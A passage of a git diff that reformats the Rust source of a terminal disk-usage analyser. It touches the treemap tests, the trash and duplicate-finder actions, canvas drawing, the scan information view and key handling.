mod tests { let r1 = blk(11, 10, 0, 10, 3); let r2 = blk(12, 10, 3, 10, 3); let r3 = blk(13, 10, 6, 10, 3); - assert_eq!(neighbour(&[r3, r1, r2, t], 10, Right), Some(12), "centre preference"); + assert_eq!( + neighbour(&[r3, r1, r2, t], 10, Right), + Some(12), + "centre preference" + ); assert_eq!(neighbour(&[r3, r1, r2, t], 13, Left), Some(10), "back left"); } @@ -122,7 +166,9 @@ mod tests { let bl = squarify(&items, r(0, 0, 120, 40)); for s in &bl { for d in [Left, Right, Up, Down] { - let Some(id) = neighbour(&bl, s.id, d) else { continue }; + let Some(id) = neighbour(&bl, s.id, d) else { + continue; + }; let c = bl.iter().find(|b| b.id == id).unwrap().rect; let s = s.rect; // In a partition, if any block touches the edge in direction d @@ -133,7 +179,10 @@ mod tests { Down => c.y == s.y + s.h, Up => c.y + c.h == s.y, }; - assert!(touch, "iter {iter}: from {s:?} dir {d:?} chose non-adjacent {c:?}"); + assert!( + touch, + "iter {iter}: from {s:?} dir {d:?} chose non-adjacent {c:?}" + ); } } } diff --git a/src/tui/actions.rs b/src/tui/actions.rs index 3ca119e..1db319c 100644 --- a/src/tui/actions.rs +++ b/src/tui/actions.rs @@ -36,11 +36,25 @@ impl Model { } let n = tr.node(id); let path = tr.path(id); - let want = Expect { uid: n.uid, mode: n.mode }; - let what = if n.is_dir() { format!("directory with {} files", textutil::count(n.files as i64)) } else { "file".into() }; - let mut body = vec![san(&tr.path_bytes(id)), String::new(), format!("{what} · {}", textutil::size(n.total(self.size_mode))), String::new()]; + let want = Expect { + uid: n.uid, + mode: n.mode, + }; + let what = if n.is_dir() { + format!("directory with {} files", textutil::count(n.files as i64)) + } else { + "file".into() + }; + let mut body = vec![ + san(&tr.path_bytes(id)), + String::new(), + format!("{what} · {}", textutil::size(n.total(self.size_mode))), + String::new(), + ]; if platform::headless() { - body.push("This is a headless system (no X or Wayland display), so there is no trash:".into()); + body.push( + "This is a headless system (no X or Wayland display), so there is no trash:".into(), + ); body.push("it will be permanently deleted and cannot be recovered.".into()); self.open_modal(Box::new(ConfirmModal { ttl: "Delete permanently? Are you sure?".into(), @@ -50,13 +64,21 @@ impl Model { let t = m.tree.clone(); Cmd::run(move || { let err = platform::delete(&path, want).err().map(|e| e.to_string()); - Msg::TrashDone { tree: t, id, err, done: "Deleted".into() } + Msg::TrashDone { + tree: t, + id, + err, + done: "Deleted".into(), + } }) })), })); return Cmd::None; } - body.push(format!("It will be moved to the {}, not permanently deleted.", platform::TRASH_NAME)); + body.push(format!( + "It will be moved to the {}, not permanently deleted.", + platform::TRASH_NAME + )); self.open_modal(Box::new(ConfirmModal { ttl: "Move to trash?".into(), body, @@ -65,14 +87,25 @@ impl Model { let t = m.tree.clone(); Cmd::run(move || { let err = platform::trash(&path, want).err().map(|e| e.to_string()); - Msg::TrashDone { tree: t, id, err, done: format!("Moved to {}", platform::TRASH_NAME) } + Msg::TrashDone { + tree: t, + id, + err, + done: format!("Moved to {}", platform::TRASH_NAME), + } }) })), })); Cmd::None } - pub fn trash_done(&mut self, tree: Arc>, id: NodeId, err: Option, done: String) -> Cmd { + pub fn trash_done( + &mut self, + tree: Arc>, + id: NodeId, + err: Option, + done: String, + ) -> Cmd { if let Some(e) = err { return self.warn(format!("Delete failed: {}", textutil::sanitize(&e))); } @@ -84,7 +117,13 @@ impl Model { let name = { let mut t = self.tree.write().unwrap(); let n = t.node(id).clone(); - let mut d = Delta { size: -n.tot_size, alloc: -n.tot_alloc, files: -(n.files as i64), dirs: -(n.dirs as i64), ..Default::default() }; + let mut d = Delta { + size: -n.tot_size, + alloc: -n.tot_alloc, + files: -(n.files as i64), + dirs: -(n.dirs as i64), + ..Default::default() + }; if n.is_dir() { d.dirs -= 1; if let Some(cs) = t.cat_sizes(id) { @@ -125,21 +164,38 @@ impl Model { "Files are grouped by size, then sampled, then fully hashed with SHA-256.".into(), "Only identical hashes are reported as duplicates.".into(), String::new(), - "This reads file contents (it may take a while and can update access times).".into(), + "This reads file contents (it may take a while and can update access times)." + .into(), ], yes: "start".into(), on_yes: Some(Box::new(|m: &mut Model| { let cancel = Cancel::new(); let f = Arc::new(Finder::default()); - m.dups = Some(DupState { running: true, finder: f.clone(), groups: Vec::new(), err: None, cancel: cancel.clone() }); + m.dups = Some(DupState { + running: true, + finder: f.clone(), + groups: Vec::new(), + err: None, + cancel: cancel.clone(), + }); m.ensure_dup_view(); let t = m.tree.clone(); let tick = m.start_ticking(); Cmd::batch(vec![ tick, Cmd::run(move || { - let g = f.find(&cancel, &t, duplicate::Options { min_size: 1, workers: 4 }); - Msg::DupDone { finder: f, groups: g } + let g = f.find( + &cancel, + &t, + duplicate::Options { + min_size: 1, + workers: 4, + }, + ); + Msg::DupDone { + finder: f, + groups: g, + } }), ]) })), @@ -148,22 +204,39 @@ impl Model { } pub fn ensure_dup_view(&mut self) { - if let Some(i) = self.views.iter().position(|v| matches!(v, super::views::View::Dups(_))) { + if let Some(i) = self + .views + .iter() + .position(|v| matches!(v, super::views::View::Dups(_))) + { self.set_view(i); return; } - self.views.push(super::views::View::Dups(DupView::default())); + self.views + .push(super::views::View::Dups(DupView::default())); self.set_view(self.views.len() - 1); } pub fn dup_done(&mut self, finder: Arc, groups: Option>) -> Cmd { - let Some(d) = self.dups.as_mut().filter(|d| Arc::ptr_eq(&d.finder, &finder)) else { return Cmd::None }; + let Some(d) = self + .dups + .as_mut() + .filter(|d| Arc::ptr_eq(&d.finder, &finder)) + else { + return Cmd::None; + }; d.running = false; d.err = groups.is_none().then(|| "cancelled".to_string()); d.groups = groups.unwrap_or_default(); - let (n, wasted) = (d.groups.len(), d.groups.iter().map(|g| g.wasted()).sum::()); + let (n, wasted) = ( + d.groups.len(), + d.groups.iter().map(|g| g.wasted()).sum::(), + ); self.dirty = true; - self.info(format!("Duplicates: {n} verified groups, {} reclaimable", textutil::size(wasted))) + self.info(format!( + "Duplicates: {n} verified groups, {} reclaimable", + textutil::size(wasted) + )) } } @@ -185,23 +258,53 @@ impl DupView { pub fn paint(&mut self, m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) { let t = m.theme.clone(); let Some(d) = &m.dups else { - cv.text_centered(r.x, r.y + r.h / 2, r.w, "Press D to search for duplicates", t.muted()); + cv.text_centered( + r.x, + r.y + r.h / 2, + r.w, + "Press D to search for duplicates", + t.muted(), + ); return; }; if d.running { let p = d.finder.progress(); cv.fill(r, " ", t.base()); let y = r.y + r.h / 2 - 2; - cv.text_centered(r.x, y, r.w, &format!("Finding duplicates — {}…", p.stage), Style::new(t.accent, t.bg).with(BOLD)); - cv.text_centered(r.x, y + 2, r.w, - &format!("{} candidate files in {} size groups", textutil::count(p.candidates), textutil::count(p.candidate_groups)), t.base()); + cv.text_centered( + r.x, + y, + r.w, + &format!("Finding duplicates — {}…", p.stage), + Style::new(t.accent, t.bg).with(BOLD), + ); + cv.text_centered( + r.x, + y + 2, + r.w, + &format!( + "{} candidate files in {} size groups", + textutil::count(p.candidates), + textutil::count(p.candidate_groups) + ), + t.base(), + ); if p.bytes_to_hash > 0 { let frac = p.bytes_hashed as f64 / p.bytes_to_hash as f64; let bw = 60.min(r.w - 10); m.paint_bar(cv, r.x + (r.w - bw) / 2, y + 4, bw, frac, t.accent, false); - cv.text_centered(r.x, y + 5, r.w, - &format!("{} of {} hashed · {} skipped", textutil::size(p.bytes_hashed), textutil::size(p.bytes_to_hash), textutil::count(p.skipped)), - t.muted()); + cv.text_centered( + r.x, + y + 5, + r.w, + &format!( + "{} of {} hashed · {} skipped", + textutil::size(p.bytes_hashed), + textutil::size(p.bytes_to_hash), + textutil::count(p.skipped) + ), + t.muted(), + ); } return; } @@ -211,22 +314,44 @@ impl DupView { self.rows.push((gi, NO_NODE)); let hash: String = g.hash[..8].iter().map(|b| format!("{b:02x}")).collect(); rows.push(TableRow { - cells: vec![textutil::size(g.wasted()), format!("{} × {}", g.files.len(), textutil::size(g.size)), - format!("verified identical · sha256 {hash}…")], - styles: vec![Some(Style::new(t.warn, t.bg).with(BOLD)), Some(Style::new(t.fg, t.bg).with(BOLD)), Some(Style::new(t.ok, t.bg))], + cells: vec![ + textutil::size(g.wasted()), + format!("{} × {}", g.files.len(), textutil::size(g.size)), + format!("verified identical · sha256 {hash}…"), + ], + styles: vec![ + Some(Style::new(t.warn, t.bg).with(BOLD)), + Some(Style::new(t.fg, t.bg).with(BOLD)), + Some(Style::new(t.ok, t.bg)), + ], bar: -1.0, ..Default::default() }); for &id in &g.files { self.rows.push((gi, id)); - rows.push(TableRow { cells: vec![String::new(), String::new(), format!(" {}", san(&tr.path_bytes(id)))], bar: -1.0, ..Default::default() }); + rows.push(TableRow { + cells: vec![ + String::new(), + String::new(), + format!(" {}", san(&tr.path_bytes(id))), + ], + bar: -1.0, + ..Default::default() + }); } } - let mut title = format!("Duplicates — {} groups (Enter details · Space go to)", d.groups.len()); + let mut title = format!( + "Duplicates — {} groups (Enter details · Space go to)", + d.groups.len() + ); if let Some(e) = &d.err { title += &format!(" — stopped: {}", textutil::sanitize(e)); } - let cols = [col("WASTED", 10, true, false), col("COPIES", 16, false, false), col("", 0, false, false)]; + let cols = [ + col("WASTED", 10, true, false), + col("COPIES", 16, false, false), + col("", 0, false, false), + ]; self.tb.paint(m, cv, r, &cols, &rows, &title); } diff --git a/src/tui/canvas.rs b/src/tui/canvas.rs index a8a04b0..c20e30e 100644 --- a/src/tui/canvas.rs +++ b/src/tui/canvas.rs @@ -40,7 +40,11 @@ impl Color { } pub fn comps(self) -> (f64, f64, f64) { - (self.r() as f64 / 255.0, self.g() as f64 / 255.0, self.b() as f64 / 255.0) + ( + self.r() as f64 / 255.0, + self.g() as f64 / 255.0, + self.b() as f64 / 255.0, + ) } /// Blends c towards o by t (0..1). Default colours are returned as-is. @@ -82,7 +86,10 @@ impl Style { Style { fg, bg, attr: 0 } } pub const fn with(self, a: Attr) -> Style { - Style { attr: self.attr | a, ..self } + Style { + attr: self.attr | a, + ..self + } } } @@ -127,11 +134,46 @@ pub(crate) struct BoxChars { pub br: &'static str, } -pub(crate) const BOX_LIGHT: BoxChars = BoxChars { h: "─", v: "│", tl: "┌", tr: "┐", bl: "└", br: "┘" }; -pub(crate) const BOX_ROUND: BoxChars = BoxChars { h: "─", v: "│", tl: "╭", tr: "╮", bl: "╰", br: "╯" }; -pub(crate) const BOX_DOUBLE: BoxChars = BoxChars { h: "═", v: "║", tl: "╔", tr: "╗", bl: "╚", br: "╝" }; -pub(crate) const BOX_ASCII: BoxChars = BoxChars { h: "-", v: "|", tl: "+", tr: "+", bl: "+", br: "+" }; -pub(crate) const BOX_ASCII_SEL: BoxChars = BoxChars { h: "=", v: "#", tl: "#", tr: "#", bl: "#", br: "#" }; +pub(crate) const BOX_LIGHT: BoxChars = BoxChars { + h: "─", + v: "│", + tl: "┌", + tr: "┐", + bl: "└", + br: "┘", +}; +pub(crate) const BOX_ROUND: BoxChars = BoxChars { + h: "─", + v: "│", + tl: "╭", + tr: "╮", + bl: "╰", + br: "╯", +}; +pub(crate) const BOX_DOUBLE: BoxChars = BoxChars { + h: "═", + v: "║", + tl: "╔", + tr: "╗", + bl: "╚", + br: "╝", +}; +pub(crate) const BOX_ASCII: BoxChars = BoxChars { + h: "-", + v: "|", + tl: "+", + tr: "+", + bl: "+", + br: "+", +}; +pub(crate) const BOX_ASCII_SEL: BoxChars = BoxChars { + h: "=", + v: "#", + tl: "#", + tr: "#", + bl: "#", + br: "#", +}; /// Selects how colours are serialised. #[derive(Clone, Copy, PartialEq, Eq, Debug)] @@ -154,7 +196,12 @@ impl Canvas { /// Creates a canvas filled with spaces in style st. pub fn new(w: i32, h: i32, st: Style) -> Canvas { let (w, h) = (w.max(0), h.max(0)); - Canvas { w, h, c: vec![Cell::space(st); (w * h) as usize], big: Vec::new() } + Canvas { + w, + h, + c: vec![Cell::space(st); (w * h) as usize], + big: Vec::new(), + } } fn inside(&self, x: i32, y: i32) -> bool { @@ -180,7 +227,12 @@ impl Canvas { self.big.push(s.to_string()); HEAP }; - Cell { g, n, w: w as u8, st } + Cell { + g, + n, + w: w as u8, + st, + } } /// Writes one cluster of width w at (x, y), repairing any wide cluster @@ -204,7 +256,12 @@ impl Canvas { } self.c[row + xu] = self.make(s, w, st); for i in 1..wu { - self.c[row + xu + i] = Cell { g: [0; INLINE], n: 0, w: 0, st }; + self.c[row + xu + i] = Cell { + g: [0; INLINE], + n: 0, + w: 0, + st, + }; } } @@ -331,7 +388,13 @@ impl Canvas { fn sgr(b: &mut String, st: Style, depth: Depth) { b.push_str("\x1b[0"); - for (bit, code) in [(BOLD, ";1"), (FAINT, ";2"), (ITALIC, ";3"), (UNDERLINE, ";4"), (REVERSE, ";7")] { + for (bit, code) in [ + (BOLD, ";1"), + (FAINT, ";2"), + (ITALIC, ";3"), + (UNDERLINE, ";4"), + (REVERSE, ";7"), + ] { if st.attr & bit != 0 { b.push_str(code); } @@ -351,7 +414,14 @@ fn sgr(b: &mut String, st: Style, depth: Depth) { } write!(b, ";{code}") } - Depth::True => write!(b, ";{};2;{};{};{}", if bg { 48 } else { 38 }, c.r(), c.g(), c.b()), + Depth::True => write!( + b, + ";{};2;{};{};{}", + if bg { 48 } else { 38 }, + c.r(), + c.g(), + c.b() + ), }; }; col(b, st.fg, false); diff --git a/src/tui/color256.rs b/src/tui/color256.rs index 8e5b056..b8aa8b2 100644 --- a/src/tui/color256.rs +++ b/src/tui/color256.rs @@ -28,7 +28,11 @@ pub(crate) fn quant256(c: Color) -> u8 { let (r, g, b) = (c.r() as i32, c.g() as i32, c.b() as i32); let (mut best, mut best_d) = (16, i32::MAX); for i in 0..216 { - let (cr, cg, cb) = (CUBE_LEVELS[i / 36], CUBE_LEVELS[i / 6 % 6], CUBE_LEVELS[i % 6]); + let (cr, cg, cb) = ( + CUBE_LEVELS[i / 36], + CUBE_LEVELS[i / 6 % 6], + CUBE_LEVELS[i % 6], + ); let d = redmean(r, g, b, cr, cg, cb); if d < best_d { (best, best_d) = (16 + i, d); diff --git a/src/tui/data.rs b/src/tui/data.rs index 3b0f29b..188f7bb 100644 --- a/src/tui/data.rs +++ b/src/tui/data.rs @@ -39,8 +39,11 @@ impl Model { if let Some(k) = self.kids_cache.get(&id) { return k.clone(); } - let mut v: Vec<(i64, NodeId)> = - tr.children(id).map(|(c, _)| (self.size_of(tr, c), c)).filter(|&(s, _)| s > 0).collect(); + let mut v: Vec<(i64, NodeId)> = tr + .children(id) + .map(|(c, _)| (self.size_of(tr, c), c)) + .filter(|&(s, _)| s > 0) + .collect(); v.sort_unstable_by(|a, b| b.0.cmp(&a.0).then(a.1.cmp(&b.1))); let k = Rc::new(Kids { total: v.iter().map(|e| e.0).sum(), @@ -119,7 +122,11 @@ impl Model { let prev = self.zoom; self.zoom = dir; // Coming back out, keep the directory we left selected. - self.sel = if tr.is_ancestor(dir, prev) { prev as i64 } else { NO_SEL }; + self.sel = if tr.is_ancestor(dir, prev) { + prev as i64 + } else { + NO_SEL + }; self.user_sel = self.sel != NO_SEL; self.zoomed = true; self.dirty = true; diff --git a/src/tui/infoview.rs b/src/tui/infoview.rs index 6a5a858..4f4cb1a 100644 --- a/src/tui/infoview.rs +++ b/src/tui/infoview.rs @@ -2,8 +2,8 @@ use super::canvas::{Canvas, Style, BOLD}; use super::model::{Cmd, Model}; -use super::table::{col, Table, TableRow}; use super::san; +use super::table::{col, Table, TableRow}; use crate::inventory::{ErrKind, Tree, FLAG_ALLOC_UNKNOWN}; use crate::textutil; use crate::treemap::Rect; @@ -57,66 +57,193 @@ impl InfoView { } else { state }; - cv.text(x, y, "SCAN INFORMATION", lw, Style::new(t.accent, t.bg).with(BOLD)); + cv.text( + x, + y, + "SCAN INFORMATION", + lw, + Style::new(t.accent, t.bg).with(BOLD), + ); y += 1; line(cv, &mut y, "Root", &san(&st.root), value); line(cv, &mut y, "State", state, state_st); if !st.from_snapshot.is_empty() { - line(cv, &mut y, "Snapshot", &textutil::sanitize(&st.from_snapshot), value); + line( + cv, + &mut y, + "Snapshot", + &textutil::sanitize(&st.from_snapshot), + value, + ); } let files = st.files + st.symlinks + st.others; - line(cv, &mut y, "Items scanned", &textutil::count(files + st.dirs), value); + line( + cv, + &mut y, + "Items scanned", + &textutil::count(files + st.dirs), + value, + ); line(cv, &mut y, " Files", &textutil::count(st.files), value); - line(cv, &mut y, " Directories", &textutil::count(st.dirs), value); - line(cv, &mut y, " Symlinks", &textutil::count(st.symlinks), value); + line( + cv, + &mut y, + " Directories", + &textutil::count(st.dirs), + value, + ); + line( + cv, + &mut y, + " Symlinks", + &textutil::count(st.symlinks), + value, + ); line(cv, &mut y, " Special", &textutil::count(st.others), value); - line(cv, &mut y, "Logical size", &format!("{} ({} bytes)", textutil::size(root.tot_size), textutil::count(root.tot_size)), value); - line(cv, &mut y, "Allocated size", &format!("{} ({} bytes)", textutil::size(root.tot_alloc), textutil::count(root.tot_alloc)), value); + line( + cv, + &mut y, + "Logical size", + &format!( + "{} ({} bytes)", + textutil::size(root.tot_size), + textutil::count(root.tot_size) + ), + value, + ); + line( + cv, + &mut y, + "Allocated size", + &format!( + "{} ({} bytes)", + textutil::size(root.tot_alloc), + textutil::count(root.tot_alloc) + ), + value, + ); let el = st.elapsed(); if st.from_snapshot.is_empty() { line(cv, &mut y, "Elapsed", &textutil::duration(el), value); let rate = (files + st.dirs) as f64 / el.as_secs_f64().max(0.001); - line(cv, &mut y, "Rate", &(textutil::count(rate as i64) + " items/s"), value); + line( + cv, + &mut y, + "Rate", + &(textutil::count(rate as i64) + " items/s"), + value, + ); let cpus = std::thread::available_parallelism().map_or(1, |n| n.get()); - line(cv, &mut y, "Workers", &format!("{} ({} CPUs)", st.workers, cpus), value); + line( + cv, + &mut y, + "Workers", + &format!("{} ({} CPUs)", st.workers, cpus), + value, + ); } head(cv, &mut y, "ERRORS AND OMISSIONS"); let mut any_issue = false; for (k, &c) in st.err_counts.iter().enumerate() { if c > 0 { - line(cv, &mut y, ErrKind::from_u8(k as u8).name(), &textutil::count(c), Style::new(t.err, t.bg).with(BOLD)); + line( + cv, + &mut y, + ErrKind::from_u8(k as u8).name(), + &textutil::count(c), + Style::new(t.err, t.bg).with(BOLD), + ); any_issue = true; } } - for (k, v) in [("Unscanned dirs", st.unscanned), ("Excluded", st.excluded), ("Other FS skipped", st.skipped_mounts), - ("Virtual FS skipped", st.virtual_skipped), ("Loops skipped", st.loops_skipped), ("Broken symlinks", st.broken_links), - ("Hard-link dups", st.hardlink_dups)] - { + for (k, v) in [ + ("Unscanned dirs", st.unscanned), + ("Excluded", st.excluded), + ("Other FS skipped", st.skipped_mounts), + ("Virtual FS skipped", st.virtual_skipped), + ("Loops skipped", st.loops_skipped), + ("Broken symlinks", st.broken_links), + ("Hard-link dups", st.hardlink_dups), + ] { if v > 0 { - line(cv, &mut y, k, &textutil::count(v), Style::new(t.warn, t.bg).with(BOLD)); + line( + cv, + &mut y, + k, + &textutil::count(v), + Style::new(t.warn, t.bg).with(BOLD), + ); any_issue = true; } } if !any_issue { - line(cv, &mut y, "None", "every entry was read", Style::new(t.ok, t.bg)); + line( + cv, + &mut y, + "None", + "every entry was read", + Style::new(t.ok, t.bg), + ); } head(cv, &mut y, "OPTIONS"); - let excl = if st.excludes.is_empty() { "none".to_string() } else { textutil::sanitize(&st.excludes.join(", ")) }; + let excl = if st.excludes.is_empty() { + "none".to_string() + } else { + textutil::sanitize(&st.excludes.join(", ")) + }; line(cv, &mut y, "Exclusions", &excl, value); - line(cv, &mut y, "One filesystem", &st.one_file_system.to_string(), value); - line(cv, &mut y, "Follow symlinks", &textutil::sanitize(&st.follow), value); + line( + cv, + &mut y, + "One filesystem", + &st.one_file_system.to_string(), + value, + ); + line( + cv, + &mut y, + "Follow symlinks", + &textutil::sanitize(&st.follow), + value, + ); line(cv, &mut y, "Size mode", m.size_mode.name(), value); - line(cv, &mut y, "Units", if crate::textutil::si() { "SI (1000)" } else { "IEC (1024)" }, value); + line( + cv, + &mut y, + "Units", + if crate::textutil::si() { + "SI (1000)" + } else { + "IEC (1024)" + }, + value, + ); if root.has(FLAG_ALLOC_UNKNOWN) { - line(cv, &mut y, "Note", "allocated size unavailable on this platform", Style::new(t.warn, t.bg)); + line( + cv, + &mut y, + "Note", + "allocated size unavailable on this platform", + Style::new(t.warn, t.bg), + ); } // Error list on the right (or below in narrow terminals). let er = if r.w < 100 { - Rect { x: r.x, y: y + 1, w: r.w, h: r.y + r.h - y - 1 } + Rect { + x: r.x, + y: y + 1, + w: r.w, + h: r.y + r.h - y - 1, + } } else { - Rect { x: r.x + lw + 4, y: r.y, w: r.w - lw - 4, h: r.h } + Rect { + x: r.x + lw + 4, + y: r.y, + w: r.w - lw - 4, + h: r.h, + } }; if er.w < 30 || er.h < 4 { return; @@ -132,7 +259,11 @@ impl InfoView { } TableRow { cells: vec![e.kind.name().into(), san(&p), textutil::sanitize(&e.msg)], - styles: vec![Some(Style::new(t.err, t.bg)), None, Some(Style::new(t.muted, t.bg))], + styles: vec![ + Some(Style::new(t.err, t.bg)), + None, + Some(Style::new(t.muted, t.bg)), + ], bar: -1.0, ..Default::default() } @@ -142,7 +273,11 @@ impl InfoView { if (st.errors.len() as i64) < st.total_errors() { title += &format!(" — first {} shown", textutil::count(st.errors.len() as i64)); } - let cols = [col("KIND", 18, false, false), col("PATH", 0, false, true), col("DETAIL", 22, false, false)]; + let cols = [ + col("KIND", 18, false, false), + col("PATH", 0, false, true), + col("DETAIL", 22, false, false), + ]; self.tb.paint(m, cv, er, &cols, &rows, &title); } diff --git a/src/tui/keys.rs b/src/tui/keys.rs index 3dcfbb0..8adf699 100644 --- a/src/tui/keys.rs +++ b/src/tui/keys.rs @@ -1,7 +1,7 @@ //! Key dispatch and the actions keys trigger. -use super::model::{is_group, Cmd, Key, Model, Msg}; use super::modals::{new_group_modal, new_help_modal, new_info_modal, new_save_modal}; +use super::model::{is_group, Cmd, Key, Model, Msg}; use super::theme::{load_theme, theme_names}; use super::views::View; use super::{fmt_stamp_now, san}; @@ -53,13 +53,19 @@ impl Model { } "tab" => self.set_view((self.view + 1) % self.views.len()), "shift+tab" => self.set_view((self.view + self.views.len() - 1) % self.views.len()), - "1" | "2" | "3" | "4" | "5" | "6" | "7" => self.set_view((k.as_bytes()[0] - b'1') as usize), + "1" | "2" | "3" | "4" | "5" | "6" | "7" => { + self.set_view((k.as_bytes()[0] - b'1') as usize) + } "enter" => return self.inspect_selection(&tr), "space" | "right" => return self.zoom_into_selection(&tr), "backspace" | "left" => self.zoom_out(&tr), "home" => self.zoom_to(&tr, 0), "a" => { - self.size_mode = if self.size_mode == SizeMode::Allocated { SizeMode::Logical } else { SizeMode::Allocated }; + self.size_mode = if self.size_mode == SizeMode::Allocated { + SizeMode::Logical + } else { + SizeMode::Allocated + }; self.invalidate(); let mut cmds = Vec::new(); if self.search.query.is_some() { @@ -88,7 +94,10 @@ impl Model { "d" | "delete" => return self.request_trash(&tr), "T" => { let names = theme_names(); - let cur = names.iter().position(|n| *n == self.theme.name).unwrap_or(0); + let cur = names + .iter() + .position(|n| *n == self.theme.name) + .unwrap_or(0); let ascii = self.theme.ascii; let mut th = load_theme(names[(cur + 1) % names.len()], &self.opts.settings); th.ascii = ascii; @@ -200,7 +209,10 @@ impl Model { return self.info(msg); } if let Err(e) = platform::reveal(&tr.path(id)) { - return self.warn(format!("Open failed: {}", textutil::sanitize(&e.to_string()))); + return self.warn(format!( + "Open failed: {}", + textutil::sanitize(&e.to_string()) + )); } self.info("Opened in file manager") } @@ -210,7 +222,9 @@ impl Model { Cmd::run(move || { let err = { let g = t.read().unwrap(); - snapshot::save_file(Path::new(&path), &g).err().map(|e| e.to_string()) + snapshot::save_file(Path::new(&path), &g) + .err() + .map(|e| e.to_string()) }; Msg::SaveDone { path, err } }) @@ -224,5 +238,7 @@ pub(crate) fn default_snapshot_name(root: &[u8]) -> String { None => "root".into(), }; let wd = std::env::current_dir().unwrap_or_default(); - wd.join(format!("{base}-{}{}", fmt_stamp_now(), brand::SNAPSHOT_EXT)).to_string_lossy().into_owned() + wd.join(format!("{base}-{}{}", fmt_stamp_now(), brand::SNAPSHOT_EXT)) + .to_string_lossy() + .into_owned() } diff --git a/src/tui/mapview.rs b/src/tui/mapview.rs index d78aa01..6b86b1f 100644 --- a/src/tui/mapview.rs +++ b/src/tui/mapview.rs @@ -70,8 +70,14 @@ impl Model { } } let mut l = TmLayout { - zoom: self.zoom, rect: r, ver: self.data_ver, blocks: Vec::new(), nested: Vec::new(), - groups: HashMap::new(), visible: HashSet::new(), inner: HashSet::new(), + zoom: self.zoom, + rect: r, + ver: self.data_ver, + blocks: Vec::new(), + nested: Vec::new(), + groups: HashMap::new(), + visible: HashSet::new(), + inner: HashSet::new(), }; l.blocks = self.layout_level(tr, &mut l, self.zoom, r, TOP_MIN_AREA, TOP_MAX_ITEMS); for i in 0..l.blocks.len() { @@ -99,34 +105,87 @@ impl Model { /// Lays out the children of parent in r with level-of-detail grouping: /// children too small to be useful collapse into one group block. - fn layout_level(&mut self, tr: &Tree, l: &mut TmLayout, parent: NodeId, r: Rect, min_area: i32, max_items: usize) -> Vec { + fn layout_level( + &mut self, + tr: &Tree, + l: &mut TmLayout, + parent: NodeId, + r: Rect, + min_area: i32, + max_items: usize, + ) -> Vec { let k = self.kids_of(tr, parent); if k.ids.is_empty() || r.empty() { return Vec::new(); } let sizes: Vec = k.sizes.iter().map(|&s| s as f64).collect(); let vis = treemap::visible(&sizes, k.total as f64, r.area(), min_area, max_items); - let mut items: Vec = (0..vis).map(|i| Item { id: k.ids[i] as i64, size: sizes[i] }).collect(); + let mut items: Vec = (0..vis) + .map(|i| Item { + id: k.ids[i] as i64, + size: sizes[i], + }) + .collect(); if vis < k.ids.len() { let size = k.sizes[vis..].iter().sum(); let gid = group_id(parent); - l.groups.insert(gid, Group { parent, kids: k.clone(), from: vis, size }); - items.push(Item { id: gid, size: size as f64 }); + l.groups.insert( + gid, + Group { + parent, + kids: k.clone(), + from: vis, + size, + }, + ); + items.push(Item { + id: gid, + size: size as f64, + }); } treemap::squarify(&items, r) } fn layout_nested(&mut self, tr: &Tree, l: &mut TmLayout, parent: NodeId, r: Rect, depth: i32) { // Deeper levels need bigger blocks to stay legible rather than noisy. - let blocks = self.layout_level(tr, l, parent, r, NEST_MIN_AREA * (depth - 1), NEST_MAX_ITEMS); + let blocks = self.layout_level( + tr, + l, + parent, + r, + NEST_MIN_AREA * (depth - 1), + NEST_MAX_ITEMS, + ); for (i, b) in blocks.iter().enumerate() { let idx = l.nested.len(); - l.nested.push(Nested { id: b.id, r: b.rect, depth, alt: i % 2 == 1, inner: false }); + l.nested.push(Nested { + id: b.id, + r: b.rect, + depth, + alt: i % 2 == 1, + inner: false, + }); let br = b.rect; - if depth < MAX_NEST_DEPTH && b.id >= 0 && br.w >= NEST_RECURSE_W && br.h >= NEST_RECURSE_H && tr.node(b.id as NodeId).is_dir() { + if depth < MAX_NEST_DEPTH + && b.id >= 0 + && br.w >= NEST_RECURSE_W + && br.h >= NEST_RECURSE_H + && tr.node(b.id as NodeId).is_dir() + { l.nested[idx].inner = true; let end = self.chain_end(tr, b.id as NodeId); - self.layout_nested(tr, l, end, Rect { x: br.x, y: br.y + 1, w: br.w - 1, h: br.h - 2 }, depth + 1); + self.layout_nested( + tr, + l, + end, + Rect { + x: br.x, + y: br.y + 1, + w: br.w - 1, + h: br.h - 2, + }, + depth + 1, + ); } } } @@ -182,7 +241,9 @@ impl Model { /// The size of the folder a block sits in. fn parent_size(&self, tr: &Tree, id: i64) -> i64 { if is_group(id) { - return self.group_info(id).map_or(0, |g| self.size_of(tr, g.parent)); + return self + .group_info(id) + .map_or(0, |g| self.size_of(tr, g.parent)); } let p = tr.node(id as NodeId).parent; if p != NO_NODE { @@ -191,7 +252,15 @@ impl Model { 0 } - fn paint_top(&mut self, tr: &Tree, cv: &mut Canvas, b: Block, sel: bool, hov: bool, total: i64) { + fn paint_top( + &mut self, + tr: &Tree, + cv: &mut Canvas, + b: Block, + sel: bool, + hov: bool, + total: i64, + ) { let t = self.theme.clone(); let base = self.color_of(tr, b.id); let fill = base.mix(t.bg, 0.62); @@ -234,7 +303,13 @@ impl Model { title.attr = BOLD; } cv.draw_box(r, bx, frame); - cv.text(r.x + 1, r.y, &trunc(&format!(" {name} "), r.w - 2), r.w - 2, title); + cv.text( + r.x + 1, + r.y, + &trunc(&format!(" {name} "), r.w - 2), + r.w - 2, + title, + ); let mut label = textutil::size(size); let pct = textutil::percent(size, total); @@ -245,7 +320,17 @@ impl Model { } let label = format!(" {label} "); if r.h >= 3 && tw(&label) <= r.w - 2 { - cv.text_right(r.x + 1, r.y + r.h - 1, r.w - 2, &label, Style { fg: frame.fg, bg: fill, attr: frame.attr }); + cv.text_right( + r.x + 1, + r.y + r.h - 1, + r.w - 2, + &label, + Style { + fg: frame.fg, + bg: fill, + attr: frame.attr, + }, + ); } // Interior labels for blocks without nested previews. let inn = r.inset(1); @@ -266,7 +351,13 @@ impl Model { } let y0 = inn.y + (inn.h - lines.len() as i32) / 2; for (i, s) in lines.iter().enumerate() { - cv.text_centered(inn.x, y0 + i as i32, inn.w, s, Style::new(base.mix(t.fg, 0.4), fill)); + cv.text_centered( + inn.x, + y0 + i as i32, + inn.w, + s, + Style::new(base.mix(t.fg, 0.4), fill), + ); } } @@ -298,10 +389,28 @@ impl Model { } } else { if r.w >= 4 { - cv.fill(Rect { x: r.x + r.w - 1, y: r.y, w: 1, h: r.h }, " ", Style::new(Default::default(), shadow)); + cv.fill( + Rect { + x: r.x + r.w - 1, + y: r.y, + w: 1, + h: r.h, + }, + " ", 